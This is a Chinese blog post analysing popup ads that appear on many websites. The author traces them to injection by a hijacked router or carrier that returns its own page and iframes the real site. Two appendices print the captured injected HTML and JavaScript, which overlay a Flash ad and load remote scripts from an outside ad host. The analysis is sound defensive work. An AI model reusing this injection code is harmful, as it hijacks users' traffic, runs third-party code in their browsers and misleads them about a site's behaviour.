究竟是誰彈出的窗


博文說明

寫這篇博客的目的是讓更多人知道,遇到這樣的情況時可能與運營商有關,不要責怪網站,網站也是受害者。 

遭遇彈窗

這兩天遇到一個奇怪的問題,逛園子時瀏覽器經常被彈窗,窗中自然是廣告商。

不管是在宿舍還是在辦公室,不管是是在早上還是在晚上,不管是用Chrome/Firefox還是用IE,都會出現那扇窗。

被彈窗,很不爽;很想打開窗,看看制造商。

窗的特點

Flash打造,總是出現在瀏覽器的右下角,窗的右上角有個“X”關閉按鈕。

彈窗症狀

除了那扇讓人討厭的窗,當前訪問的網址被嵌入到iframe中;有時會造成瀏覽器Tab中的頁面標題消失;如果用的是IE瀏覽器,刷新后當前頁面會亂碼(彈窗時瀏覽器編碼被改為了GB2312,如果當前頁面用的是UTF-8編碼,就會亂碼)。

彈窗追蹤

當時IE出現的頻率比較高,於是按F12打開IE的Developer tools,選擇Network,點擊Start capturing,等待彈窗。。。

一彈窗,當場抓。

圖1:

圖2:

圖3:

圖4:

圖5:

【彈窗過程分析】

當你在瀏覽器中輸入網址后,瀏覽器首先通過DNS服務器將網址解析為IP地址,然后向目標IP地址發送請求,而這時就要經過一個個路由器;

彈窗者通過某個路由器攔路搶劫瀏覽器發出的請求,用包含彈窗代碼的HTML頁面直接返回,請求根本沒有到達目標IP;

彈窗者在返回的頁面中會加上iframe代碼並指向原始網址,不僅攔路搶劫,而且嫁禍於人,讓用戶誤以為是網站彈的窗。

彈窗危害

不僅嚴重干擾了用戶的互聯網生活,而且嚴重干擾了網站的正常服務。更嚴重的是,不了解情況的用戶誤以為是網站彈的窗,而網站只能望窗心嘆,一點辦法沒有。

彈后感

究竟誰這么強?控制了路由器還敢彈窗?

究竟誰這么流氓?為了賺錢讓用戶如此不爽?

反彈窗

方法一:向運營商舉報有人控制了他們的路由器在彈窗,讓他們趕緊防。

方法二:運營商工作忙,哪有工夫反彈窗,程序員們來幫忙,開發插件防彈窗。

【附一】

早上在寫博客的時候,在Chrome中抓到的彈窗廣告的完整HTML代碼:

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<meta http-equiv="Expires" content="-1">
<title></title>
<style type="text/css">
body {
margin: 0px;
padding: 0px;
overflow: hidden;
}
</style>
</head>
<body>
<iframe id="iframe279874858211" name="iframe279874858211" width="0" height="0" style="display: none; background-color: transparent;" 
allowtransparency="true" frameborder="0" scrolling="no"></iframe>
<div id="poet_container" style="position: absolute; z-index: 2147483647; bottom: 0px; right: 17px; display: block; overflow: hidden; 
    width: 300px; height: 270px; background-color: transparent;">
    <div id="poet_normal_container" style="display: block; overflow: hidden; width: 300px; height: 270px; background-color: transparent;">
        <object id="poet_normal_media" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" 
        codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0" width="300" height="270">
        <param name="movie" value="http://www.84787111.com/12052401//media/normal_outer.swf">
        <param name="quality" value="high"><param name="wmode" value="transparent">
        <param name="menu" value="false">
        <param name="allowfullscreen" value="false">
        <param name="allowscriptaccess" value="always">
            <embed name="poet_normal_media" src="http://www.84787111.com/12052401//media/normal_outer.swf" quality="high" 
            pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" 
            width="300" height="270" wmode="transparent" allowfullscreen="false" allowscriptaccess="always">
        </object>
    </div>
</div>
<iframe id="iframecounter279874856493" name="iframecounter279874856493" width="0" height="0" style="display: none; background-color: transparent;" 
allowtransparency="true" frameborder="0" scrolling="no"></iframe>
<iframe id="fulliframe" name="fulliframe" src="" width="100%" height="100%" marginheight="0" marginwidth="0" frameborder="0"></iframe>
<script language="javascript" type="text/javascript">
function dB() {
    var uA = navigator.userAgent;
    if ((uA.indexOf("Firefox") > -1) || (uA.indexOf("Opera") > -1)) {
        frames[0].location = window.location + '?';
    } else {
        frames[0].location = window.location;
    };
};
dB();
function c() {
    try {
        var f = frames[0]; 
        var d = f.document;
        (function (s) { })(d.readyState);
        if (d && ('complete' == d.readyState)) {
            document.title = d.title ? d.title : ''; ;
        } else {
            setTimeout('c()', 10);
        }
    } catch (ex) {
        try {
            document.domain = document.domain.replace(/^\w+\./, '');
            c(); 
        } catch (ex) { }
    };
};
c();
</script>
<script id="poet_ctrl_o" language="javascript" type="text/javascript"></script>
<script id="poet_ctrl_2015919" type="text/javascript"></script>
<script id="poet_ctrl_9167158" type="text/javascript"></script>
</body>
</html>

【附二】

在IE中抓到的引用自61.172.192.71的彈窗廣告js代碼:

(function () {
    var POET = window.POET = window.POET || {};
    POET.PUSH = 'adc';
    function createScript(src) {
        var script = document.createElement('script');
        script.id = 'poet_ctrl_' + Math.floor(Math.random() * 10000000);
        script.src = src;
        script.type = 'text/javascript';
        document.body.appendChild(script);
    }
    createScript('http://www.84787111.com/12060811ad/images/asd.js');
    createScript('http://www.84787111.com/12061103btad/images/asd.js'); 
})();


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM